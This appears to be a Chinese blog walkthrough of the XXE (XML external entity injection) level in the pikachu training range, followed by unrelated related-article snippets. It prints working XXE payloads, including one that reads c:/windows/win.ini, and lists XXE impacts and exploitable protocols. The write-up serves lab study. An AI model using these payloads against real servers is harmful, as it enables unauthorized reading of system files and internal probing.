pikachu XXE(XML外部实体注入)通关

news/2024/9/22 15:50:09 标签: xml

靶场:pikachu

环境:

系统:Windows10
服务器:PHPstudy2018
靶场:pikachu

关卡提示说:这是一个接收xml数据的api

常用的Payload

回显

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "XXE" > ]> 
<foo>&xxe;</foo>

 执行结果

查看系统文件内容

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

 执行结果

XXE的危害:

  1. 文件读取

  2. 内网主机扫描

  3. 端口探测

  4. 远程代码执行

XXE漏洞可利用的协议:

  1. ilbxml2=file/http/ftp

  2. PHP=file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar

  3. Java=http、https、ftp、file、jar、netdoc、mailto、gophar

  4. NET=file、http、https、ftp

概述

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。


http://www.niftyadmin.cn/n/5670516.html

相关文章

SIP信令的基本流程

SIP的基本流程&#xff08;类似TCP三挥&#xff09; SIP协议是一种基于文本的协议&#xff0c;它使用UDP或TCP传输协议进行通信。SIP协议的基本流程包括&#xff1a;建立会话、修改会话、终止会话等。在建立会话时&#xff0c;SIP协议需要完成以下步骤&#xff1a; 发送INVITE…

[杂谈-黑神话:悟空] 中国3A游戏的崛起之路:挑战与机遇并存

[杂谈-黑神话:悟空] 中国3A游戏的崛起之路&#xff1a;挑战与机遇并存 《黑神话&#xff1a;悟空》的出现&#xff0c;让我们看到了中国3A游戏的希望和未来。对于中国游戏产业的从业者和爱好者来说&#xff0c;这是一个值得关注和期待的领域。 在游戏产业蓬勃发展的今天&#…

本专栏说明

​ 本专栏讲述STM32的仿真设计&#xff0c;基本采用库函数编程。 具体讲述方式如下&#xff1a; 先分布讲述各个模块的仿真&#xff0c;包含按键、蜂鸣器、LED灯、继电器、电机、步进电机、OLED、LCD1602、LCD12864、光敏电阻、ADC、超声波、DHT11温湿度传感器、DS18B20温度传…

JavaScript 插入元素到数组三个方法代码示例

在 JavaScript 中&#xff0c;可以使用以下方法插入数组元素&#xff1a; push()&#xff1a;将一个或多个元素添加到数组的末尾。 let fruits ["apple", "banana"]; fruits.push("orange"); // ["apple", "banana", "…

计算机专业毕业设计选题推荐-基于python的网络热门小说数据可视化分析

&#x1f496;&#x1f525;作者主页&#xff1a;毕设木哥 精彩专栏推荐订阅&#xff1a;在 下方专栏&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; 实战项目 文章目录 实战项目 一、网络热门小说数据可视化分析…

【C/C++语言系列】实现单例模式

1.单例模式概念 定义&#xff1a;单例模式是一种常见的设计模式&#xff0c;它可以保证系统中一个类只有一个实例&#xff0c;而且该实例易于外界访问&#xff08;一个类一个对象&#xff0c;共享这个对象&#xff09;。 条件&#xff1a; 只有1个对象易于外界访问共享这个对…

信息安全数学基础(19)同余式的基本概念及一次同余式

一、同余式概念 同余式是数论中的一个基本概念&#xff0c;用于描述两个数在除以某个数时所得的余数相同的情况。具体地&#xff0c;设m是一个正整数&#xff0c;a和b是两个整数&#xff0c;如果a和b除以m的余数相同&#xff0c;则称a和b模m同余&#xff0c;记作a≡b(mod m)。反…

CSS从入门到精通(已完结)

关注作者微信公众号&#xff0c;开启探索更多 CSS 知识的精彩之旅。在这里&#xff0c;你将收获丰富的 CSS 专业内容&#xff0c;深入了解这一网页开发语言的奥秘&#xff0c;不断拓展你的知识边界&#xff0c;提升技能水平。快来关注吧&#xff01; 微信公众号专栏地址&#x…